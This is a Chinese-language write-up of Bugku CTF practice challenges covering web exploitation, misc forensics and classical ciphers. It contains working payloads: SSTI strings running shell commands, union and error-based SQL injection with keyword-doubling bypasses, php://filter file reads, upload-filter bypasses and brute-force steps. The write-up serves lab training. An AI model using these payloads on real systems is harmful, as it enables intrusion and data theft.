Bugku

Web

Web1

Des:flag{}。

查看源码即可。

Web2

Des:输入验证码即可得到flag。

输入框有输入长度限制,在控制台修改长度即可。

Web3

Des:flag{}。

通过get传参,按照题目要求直接传入

?what=flag

Web4

Des:post。

方法1

利用hackbar直接post传参。

方法2

利用burp抓包传值。

方法3

编写python脚本。

import requests

s = requests.Session()
r = s.get("<url>")
value = {'what':'flag'}
r = s.post("<url>", value)
print(r.text)

题目更新

Des:看看源代码吧。

查看源代码,发现有两串编码字符串,分别对两个字符串进行URL解码,按照代码含义将其组合起来,放到控制台Console里排版。

if判断里与a.value判等的值输入提交框,提交。

获得flag

Web5

Des:矛盾。

$num = $_GET['num'];
if (!isnumeric($num)) {
    echo $num;
    if ($num == 1)
        echo 'flag{********}';
}

利用1a绕过,例:

?num=1a01

Web6

Des:flag{}。

查看源码。

Unicode编码,解码即可。

Web7

Des:你必须让它停下。

burp抓包,使用重放(Repeater)模块不断点击go发送页面,注意查看response

Web8

Des:文件包含。

打开题目获得代码:

<?php
    extract($_GET)
    if (!empty($ac)) {
        $f = trim(file_get_contents($fn));
        if ($ac == $f) {
            echo "<p>This is flag:" ."$flag</p>";
        } else {
            echo "<p>sorry!</p>";
        }
    }
?>

按照题目描述,尝试访问flag.txt

文件内容为flags,获得flag的条件是acfn严格相等,fnflag.txt进行赋值,通过GET传参?ac=flags&fn=flag.txt

获得flag

题目更新

?hello=file('flag.php')

Web9

Des:N/A。

eval("var_dump($$args);")  # 调用两次,$($argc)

调用全局变量打印所有内容,尝试GLOBALGLOBALS

Simple_SSTI_1

Des:N/A。

页面显示:

You need pass in a parameter named flag。

查看源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Simple SSTI</title>
</head>
<body>
You need pass in a parameter named flag。
<!-- You know, in the flask, We often set a secret_key variable.-->
</body>
</html>

搜了一下,SECRET_KEYFlask中一个比较重要的变量值。

?flag=flag
# 页面回显flag
?flag=2*2
# 回显4,说明我们传入的数据是被信任的,存在ssti
?flag=app.config['SECRET_KEY']
# 回显报错
?flag=config['SECRET_KEY']
# 获得flag

Simple_SSTI_2

Des:N/A。

页面和上题一样,也是模板注入。

查看源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Simple SSTI2</title>
</head>
<body>
You need pass in a parameter named flag
</body>
</html>

查看根目录:

?flag={{config.__class__.__init__.__globals__['os'].popen('ls ..').read()}}

执行结果:

app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var

我们挨个查看目录,从第一个开始:

?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app/').read()}}

执行结果:

Dockerfile app.py flag gunicorn.conf.py templates

直接查看flag文件:

?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}

获得flag

Web10

Des:头等舱。

F12Network查看消息头即可。

计算器

Des:N/A。

尝试输入结果,但只能输入一位字符,查看控制台元素。

找到对应的输入框元素,发现长度被限定为1位,修改后输入正确答案。

获得flag

web基础$_GET

Des:N/A。

GET传参直接在URL后键入值即可。

URL后加上?what=flag

获得flag

web基础$_POST

Des:N/A。

需要通过POST方式传入参数flag,使用hackbar插件。

获得flag

矛盾

Des:N/A。

简单分析可知,GET传参,获取flag需要经过两个if判断:1.参数num不为数字;2.参数获取值为1。

我们可以构造一个字符串,以1开头的字符串在php会被判定成功,在URL后输入?num=1x

获得flag

域名解析

Des:听说把网址解析到xxx就能拿到flag。

Linux

vim /etc/hosts

添加:<url> xxx

保存后访问网址。

Windows同理。

获得flag

你必须让他停下

Des:N/A。

页面不断刷新,查看源码

猜测flag就在网页中,不断刷新使我们无法看到,使用burp抓包。

拦截页面后发送至Repeater,不断Go,查看Response

获得flag

本地包含

题目已挂。

变量

<?php
    error_reporting(0);
	include "flag1.php";
	highlight_file(__file__);
	if (isset($_GET['args'])) {
        $args = $_GET['args'];
        if (!preg_match("/^\w+$/", $args)) {
            die("args error!");
        }
        eval("var_dump($$args);");
    }
?>

两个关键点:正则表达式和$\$args

此处正则表达式匹配均为字母的串,匹配不成功则报错;$$args意为可变变量,若$args代表一个变量,那么$$args则代表另一个变量。尝试给args赋一个变量名。

PHP九大全局变量:

$_POST[接收post提交的数据]

$\_GET[接收GET提交的数据]

$\_FILES[文件接收处理]

$\_COOKIE[获取setCookie()中的name值]

$\_SESSION[存储或获取session的值]

$\_REQUEST[有getpost的功能,但较慢]

$_SERVER[预定义服务器的一种变量]

$_GLOBALS[包含了全部变量的全局组合数组]

$\_ENV[包含服务器端环境变量的数组,是PHP中的超级变量,可以在PHP程序任何位置直接访问]。

依次尝试,当传入?args=GLOBALS时成功获得flag

头等舱

Des:N/A。

查看源码,没有有用信息,尝试御剑扫描后台。

发现md5.php,进行访问。

通过GET传参输入a

唔,然后返回最开始的网址,使用burp进行抓包,查看Response

获得flag

网站被黑

Des:这个题没技术含量但是实战中经常遇到。

给出的访问目录是webshell,御剑扫描后台,进入shell.php,此处对密码进行爆破,在shell处输入密码。

获得flag

管理员系统

Des:N/A。

是一个登录窗口,查看控制台元素:

<!-- dGVzdDEyMw== -->

这是Base64编码,解码获得:

<!-- test123 -->

尝试账密admin/test123

页面报错,显示IP禁止访问,猜测应该是对访问地址进行了限制,尝试利用X-Forwarde-For修改XFF头为127.0.0.1

百度百科:XFF是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

获得flag

flag在index里面

Des:N/A。

网页给出一个超链接,点击进行跳转。

猜测这是admin的密码,查看源码,没有线索,查看URL,发现一个文件包含漏洞。

这里使用了php的封装协议,资料:http://php.net/manual/zh/wrappers.php.php。

首先尝试访问http://xxx:port/post/index.php?file=php://filter/resource=index.php。

网页空白,源码也没有有用信息,但是有5w多行,可能flag藏在里面?

尝试一下base64编码后访问:http://xxx:port/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

这是一个file关键字的GET传参php://是协议名,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示将其进行base64编码后进行读取,resource=index.php就是我们所要访问的目的页面了。

Base64编码后访问URL,得到一串加密字符串:

进行Base64解码:

<html>
    <title>Bugku-ctf</title>
<?php
	error_reporting(0);
	if (!$_GET[file]) {
        echo '<a href="./index.php?file=show.php">click me? no</a>';
    }
	$file = $_GET['file'];
	if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file, "data")) {
        echo "Oh no!";
        exit();
    }
	include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

获得flag

输入密码查看flag

Des:N/A。

URL:http://xxx:port/baopo/,源码没有有用信息,告知5位数,尝试使用burp进行数字爆破,范围10000-99999

随机输入密码后进行抓包。

然后发送至Intruder,在Intruder界面先选择Clear清除所有Payload,再选中pwd后点击Add

Payload菜单选择攻击字典。

Options菜单适当选择攻击线程,加快速度,不过过大的线程可能会导致自己的网络崩溃。

点击右上角的Start Attack,进入到爆破界面。

可以随时点击后四个菜单栏进行排序,查看有没有特殊情况,喝杯水的时间就能把整个范围跑完,输入产生特殊值的Payload

获得flag

点击一百万次

Des:JavaScript。

题目已挂。

备份是个好习惯

Des:听说备份是个好习惯。

得到一串编码字符串:

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

不晓得这是什么…然后用御剑扫描后台,发现index.php.bak备份文件,下载使用cat命令查看。

简单判断,需要进行md5碰撞获得flag,而且后台会自动替换掉key关键字,首先查找常见md5碰撞值,然后通过复写key关键字进行绕过:

?kkeyey1=QNKCDZO&&kkeyey2=s878926199a

将构造字符串置于URL最后,回车访问。

获得flag

成绩单

Des:快来查查成绩吧。

输入框依次输入123并提交,成功回显成绩单,当输入4时,页面没有回显。

查看源码,没有隐藏信息。在输入框输入1',利用最常见的单引号判断是否存在SQL注入,页面没有回显,继续测试列数,猜测有姓名、数学、英语、语文四列,输入1' order by 4#,页面回显正常,尝试1' order by 5#,页面没有回显,判断表有四列。接下来尝试爆破库名、表名、字段名。

尝试联合查询,在查询框输入id=1' union select 1,2,3,4#,将我们的代码通过POST传参达到执行的目的,页面回显如下,四个表均有回显。

开始爆破库名:id=1' union select 1,2,3,database()#,获得库名skctf_flag

进一步爆破表名:id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_name = database()#,获得两个表:fl4gsc

爆破字段名:id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name = 0x666c3467#

ps:尝试使用table_name = fl4g时,页面没有回显,将fl4g转为十六进制,0x代表引号。

获得字段名:skctf_flag

查看字段名内容:id=-1' union select 1,2,3,skctf_flag from fl4g#

获得flag

秋名山老司机

Des:是不是老司机试试就知道。

打开网页后,是一个计算问题,查看源代码。

每次刷新之后,需要计算的数字都不一样,页面通过POST方式传值,这里尝试用python脚本来进行计算:

import requests
import re

s = requests.Session()
r = s.get('<url>')
obj = re.search(r'(\d+[+\-*])+(\d+)', r.text)
d = {
    'value': eval(obj.group(0))
}
r = s.post('<url>')
print(r.text)

需要访问网站,还需要利用正则表达式对网站给出的数字进行匹配,所以导入requestsre库。

requests库导入的类一定要为Session(),若是使用了session(),会导致网页刷新,不能获得正确的值。

s是创建的会话对象,以会话对象向url发出一个get请求

r用来接受网站访问获得的数据,obj用来存储进行正则表达式匹配后的值,\d+表示匹配一个或多个字符,[+\-*]匹配加号、减号和乘号,但因为减号为特殊符号,这里使用反斜杠\进行转义。re.search扫描一个字符串返回第一个匹配成功的值,r.text为服务器返回页面的内容,r表示字符串为原始字符串,里面的反斜杠\不会被认为是转义符。

下面创建字典d,键为value,键值为刚才匹配出的式子的值,eval计算式子的值,group(0)表示匹配的结果,索引从0开始,这里指匹配到的式子。

POST方式给url传值,参数data为默认值,不可更改。

ps:参数之所以为data,是因为用burp抓包显示网页传递值的参数就是data,所以不能更改。

最后打印r.text里的内容。

我直接运行后由于编码报错。

在终端输入命令chcp 65001,切换到代码所在目录,python xxx.py,就能够正常返回结果。

获得flag

速度要快

Des:速度要快!!!

查看网页源码:

<html>
    <head></head>
    <body>
        <br>
        "我感觉你得快点!!!"
        <!-- OK, now you have to post the margin what you find -->
    </body>
</html>

burp抓包试一下。

抓包后Response里会有flag 的返回值,经过Base64解码后得到一个字符串,提交后显示flag不正确,尝试后发现需要两次Base64解码。再次尝试Request,查看Response,发现flag后的字符串会变化,而我们还需要通过POST传值,写一个python脚本:

import requests
import base64

url = '<url>'
r = requests.Session()
headers = r.get(url).headers

mid = base64.b64decode(headers['flag'])
mid = mid.decode() # 将得到的byte类型值转换为字符串类型,不然使用split()函数会导致类型不匹配报错

flag = base64.b64decode(mid.split(':')[1]) # 截取冒号之后的内容,冒号后有一个空格,所以跳过冒号之后的一个内容
data = {'margin': flag}
print(r.post(url, data).text)

获得flag

cookies欺骗

Des:N/A。

打开题目看见一大堆字母,猜测是栅栏密码,可是没法解,抓包试一下。

发现GET请求的是http://xxx.xxx.xxx/index.php?line=&filename=a2V5cy50eHQ=,filename后的字符串经Base64解码后为keys.txt

继续观察,发现line并没有赋值,尝试赋值,页面显示空白,查看源码,没有东西。

下一个思路,尝试用filename访问常见的index.php,先将它进行Base64编码,得到:aW5kZXgucGhw,尝试访问,页面还是显示空白,查看源码,发现有了<php

继续尝试给line赋值,line=1时:

line=2时:

写个python脚本自动更改line赋值:

import requests

for i in range(1, 30):
    url = '<url>/index.php?line={}&filename=aW5kZXgucGhw'.format(i) # 利用format()函数更改line的值
    r = requests.get(url)
    print(r.text)

得到php代码如下:

<?php
    error_reporting(0);
	$file = base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
	$line = isset($_GET['line'])?intval($_GET['line']):0;
	if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
	$file_list = array (
        '0' = 'keys.txt',
        '1' = 'index.php',
    );
	if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
        $file_list[2] = 'keys.php';
    }
	if (in_array($file, $file_list)) {
        $fa = file($file);
        echo $fa[$line];
    }
?>

发现有一个keys.php文件,将其加密后通过filaname访问,空白页面,页面源码为空,尝试burp抓包,并把Cookie改为margin=margin,查看Response

获得flag

never give up

Des:N/A。

页面源码如下:

<!--1p.html-->
never never never give up!!!

尝试访问1p.html页面,但自动跳转到一个论坛,猜测有重定向头,然后直接查看源码:view-source:http://xxx.xxx.xxx.xxx:xxxx/test/1p.html,获得源码,进行URL解码,Base64解码:

!--%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E--

URL解码。

直接访问f4l2a3g.txt

获得flag

welcome to bugkuctf

题目已挂。

过狗一句话

题目已挂。

字符?正则?

Des:N/A。

打开题目获得代码:

<?php
    highlight_file('2.php');
	$key = 'KEY{****************}';
	$IM = preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
	if ($IM) {
        die('key is:'.$key);
    }
?>

. 匹配除 “\n” 之外的任何单个字符

* 匹配它前面的表达式0次或多次,等价于{0,}

{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面就是匹配 4 到 7 个任意字符

/ 匹配 / ,这里的 \ 是为了转义

[a-z] 匹配所有小写字母

[:punct:] 匹配任何标点符号

/i 表示不分大小写

构造payload?id=keykeyaaaaakey:/a/keya:

获得flag

前女友

题目已挂。

login1

题目已挂。

你从哪里来

Des:N/A。

使用burp抓包后增加Refererhttps://www.google.com

获得flag

md5 collision

Des:N/A。

构造?a,回显:

搜索常见md5碰撞值,本题使用:?a=s878926199a

获得flag

程序员本地网站

Des:请从本地访问。

利用插件将XFF修改为127.0.0.1

刷新。

获得flag

各种绕过

Des:各种绕过哟。

打开题目获得源码:

<?php
    highlight_file('flag.php');
	$_GET['id'] = urldecode($_GET['id']);
	$flag = 'flag{xxxxxxxxxxxx}';
	if (isset($_GET['uname']) and isset($_POST['passwd'])) {
        if ($_GET['uname'] == $POST['passwd']) print 'passwd can not be unmae.';
        else if (sha1($_GET['uname']) == sha1($_POST['passwd']) & ($_GET['id'] == 'margin')) {
            die('Flag:'.$flag);
        }
        else print 'sorry!';
    }
?>

分析代码得知,获得flag的条件是unamepasswd不同,且经sha1()函数加密后值相等,id=margin即可获得flag。

那么我们利用sha1()函数N/A法处理数组的漏洞,首先经过第一处不等判断,在else if里,左边括号假假为真,总括号真真为真。构造payload:?id=margin&uname[]=0,通过hackbar插件POST传参passwd[]=1

获得flag

细心

Des:想办法变成admin。

打开题目后是一个404页面,源码啥也没有,尝试使用御剑扫描后台目录。

发现robots.txt,访问:

访问resusl.php

根据下面的GET传参提示,以及之前的题目描述,尝试构造?x=admin

获得flag

求getshell

Des:N/A。

是一个上传文件的题目,页面说的很清楚,只允许上传图片格式的文件,先简单写一个php,修改文件后缀为常见图片格式。

<?php
    echo['Hello']
?>

点击提交, 使用burp抓包。

然后修改Content-Type:multipart/form-data其中字段的任一值为大写,进行绕过,然后将filename改为xxx.php5,之所以为php5是尝试过其他格式后能正确或的flag的类型,点击提交。

获得flag

INSERT INTO注入

Des:不如写个Python吧。

<?php
    error_reporting(0);

	function getIp() {
        $ip = '';
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        $ip_arr = explode(',', $ip);
        return $ip_arr[0];
    }

	$host = "localhost";
	$user = "";
	$pass = "";
	$db = "";
	$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

	mysql_select_db($db) or die("Unable to select database");

	$ip = getIp();
	echo 'your ip is:'.$ip;
	$sql = "insert into client_ip (ip) values ('$ip')";
	mysql_query($sql);
?>

打开题目后直接显示IP地址。

这道题直接上python脚本。

获得flag

这是一个神奇的登录框

题目已挂。

多次

Des:本题有2个flag。

修改URL后的id值,id=2时:

id=3时:

id=4时:

id=5时:

提示SQL注入了。

构造?id=1' and 1=1 --+,页面回显:

and进行双写:?id=1' anandd 1=1 --+ ,页面回显正常,可使用双写绕过。

然后利用异或注入检测被过滤字符,语句:?id=1'^(length('union')!=0)--+

若页面回显正常,则说明union字段长度为0,被过滤,继续尝试,andorselect关键字均被过滤。

接下来我们进行表名的爆破:?id=-1' uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

字段爆破:?id=-1' uunionnion sselectelect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+

内容爆破:?id=-1' uunionnion sselectelect 1,group_concat(flag1) from flag1--+

提交后发现并不正确,然后爆破address的内容:?id=-1' uunionnion sselectelect 1,group_concat(address) from flag1--+

跳转:

大小写和双写绕过都被过滤了。

使用extrcatvalue()函数进行报错注入。

爆破库名:?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

爆破表名:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e))--+

爆破字段:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e))--+

爆破内容:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(flag2) from flag2),0x7e))--+

获得flag

PHP_encrypt_1

Des:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

<?php
function encrypt($data, $key) {
	$key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i = 0; $i < $len; $i++) {
        if ($x == $klen) {
            $x = 0;
        }
        $char .= $key[$x];
        $x += 1;
    }
    for ($i = 0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

直接上php脚本。

在配置好环境的Linux终端php xxx.php运行。

获得flag

文件包含2

题目已挂。

flag.php

Des:点了login咋没反应,提示:hint。

御剑扫描后台,没有有效信息。

根据提示,GET传参?hint=0,获得代码:

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer']; // cookie = 'ISecer'
if (isset($_GET['hint'])) { // GET传参为hint时,显示此页面
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") { // 反序列化后的cookie为KEY的值,回显flag
    echo "$flag";
}
else {
>?
<html>
    <head>
    <meta http-equiv="Contene-Type" content="text/html; charset=UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="admin.css" type="text/css">
    </head>
    <body>
    <br>
    <div class="container" align="center">
    	<form method="POST" action="#">
    		<p><input name="user" type="text" placeholder="Username"></p>
    		<p><input name="password" type="password" placeholder="Password"></p>
    		<p><input value="LOGIN" type="button"></p>
    	</form>
    </div>
    </body>
</html>
<?php
}
$KEY = 'IScer:www.iscer.com';
?>

审计代码得知,变量KEY的值为NULL,测试代码如下:

<?php
	print(serialize("$KEY"));
	$KEY='flag';
?>

s:0:"";

使用burp抓包,添加Cookie:ISecer=s:0:"";

点击发送。

获得flag

sql注入2

Des:全都tm过滤了绝望吗?提示: !,!=,=,+,-,^,%

这道题用不上sql注入的方法,可以使用DS Store泄露获得flag

利用脚本:lijiejie/ds_store_exp: A .DS_Store file disclosure exploit. It parses .DS_Store file and downloads files recursively. (github.com)

python ds_store_exp.py http://xxx.xxx.xxx.xxx:xxxx/web2/.DS_Store

获得flag

孙xx的博客

此题已被玩坏。

Trim的日记本

Des:不要一次就放弃。

页面所有功能都能正常使用。

御剑扫描后台试试。

扫出show.php

获得flag

login2

题目已挂。

login3

题目已挂。

文件上传2

题目已挂。

江湖魔头

未解。

login4

未解。

Web进阶

phpcmsV9

Des:flag在根目录里txt文件里。

给出的页面加载不全,查看源码也没啥有用信息。

看看robots.txt有没有什么信息呢。

获得flag

海洋CMS

Des:flag在根目录某个txt里。

题目已挂。

小明的博客

Des:N/A。

题目已挂。

Bugku-cms1

Des:后台可以getshell哟,flag在根目录。

一串乱码,源码也没信息。

御剑扫后台,啥也没有,上网看了下wp,题应该被搞坏了。

maccms-苹果cms

Des:N/A。

貌似被搞了…

Bugku-企业管理系统

Des:flag在网站根目录。

题目已挂。

appcms

Des:flag在根目录。

题目已挂。

实战2-注入

bugkucms

bugku导航

又是一个博客

Misc

签到题

Des:N/A。

关注公众号即可。

这是一张单纯的图片

Des:key{}。

图片没什么,WinHex看看。

最后一段有Unicode编码

隐写

Des:N/A。

一张图片,查看属性发现为500×420WinHex修改高度。

telnet

Des:N/A。

wireshark,搜索flag

眼见非实

Des:N/A。

binwalk发现是zip文件,解压后依次查找flag

代码审计

extract变量覆盖

Des:N/A。

<?php
$flag = 'xxx';
extract($_GET);
if (isset($shiyan)) {
    $connect = trim(file_get_contents($flag));
    if ($shiyan == $content) {
        echo 'flag{xxx}';
    } else {
        echo 'Oh.no';
    }
}
?>

简单分析得出,只要使$flag$shiyan两个变量相等即可,使用置空的方式让其相等,这就是覆盖题目的基本思路。

构造?flag=&shiyan=

获得flag

分析

flag被盗

Des:flag被盗,赶紧溯源!

给了一个key.pcapng文件,使用记事本打开。

Ctrl+F搜索flag

获得flag

加密

滴答~滴

Des:-… -.- -.-. - ..-. – .. … -.-.。

很简单的Morse加密摩尔斯电码转换器:在线进行摩尔斯电码和英文字母的相互转换,可以把莫尔斯电码转换为英文字母,也可把英文字母转换为摩尔斯电码 (zhongguosou.com)

获得flag

聪明的小羊

Des:一只小羊翻过了2个栅栏,KYsd3js2E{a2jda}。

很明显,栅栏加密,栅栏密码在线加密解密 - 千千秀字 (qqxiuzi.cn)

获得flag

ok

Des:Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.

没看懂这是啥…再好好想想。

这是啥,Ook编码https://www.splitbrain.org/services/ook

获得flag

这不是摩斯密码

Des:下载看看吧。

image-20210311173710438

这是Brainfuck编码https://www.splitbrain.org/services/ook

获得flag

easy_crypto

Des:0010 0100 01 110 1111011 11 11111 010 000 0 001101 1010 111 100 0 001101 01111 000 001101 00 10 1 0 010 0 000 1 01111 10 11110 101011 1111101。

摩斯加密,上脚本。

image-20210311173726315

获得flag

简单加密

Des:e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA。

这是啥…

A的ASCII码值为65=的ASCII码值为61,最后是两个A,可能是凯撒加密后的Base64编码。

附上凯撒解密脚本。

image-20210311173741679

获得字符串a2V5ezY4NzQzMDAwNjUwMTczMjMwZTRhNThlZTE1M2M2OGU4fQ==Base64 在线编码解码 | Base64 加密解密 - Base64.us

获得flag

散乱的密文

Des:lf5{ag024c483549d7fd@@1},一张纸条上凌乱的写着2 1 6 5 3 4。

试了试栅栏解密的分组数,不对。

获得flag

凯撒部长的奖励

Des:就在8月,超师傅出色地完成了上级的特遣任务,凯撒部长准备给超师傅一份特殊的奖励,兴高采烈的超师傅却只收到一长串莫名的密文,超师傅看到英语字串便满脸黑线,帮他拿到这份价值不菲的奖励吧。 密文:MSW{byly_Cm_sIol_lYqUlx_yhdIs_Cn_Wuymul_il_wuff_bcg_pCwnIl_cm_u_Yrwyffyhn_guh_cz_sio_quhn_ni_ayn_bcm_chzilguncihm_sio_wuh_dich_om}。

凯撒密码在线加密解密 - 千千秀字 (qqxiuzi.cn),一位一位尝试,位移20时得出flag

一段Base64

Des:N/A。

给了一大段的Base64编码,就不贴上来了。

解码。

进行Unescape解码。

十六进制转文本。

再进行Unescape

十进制转文本。

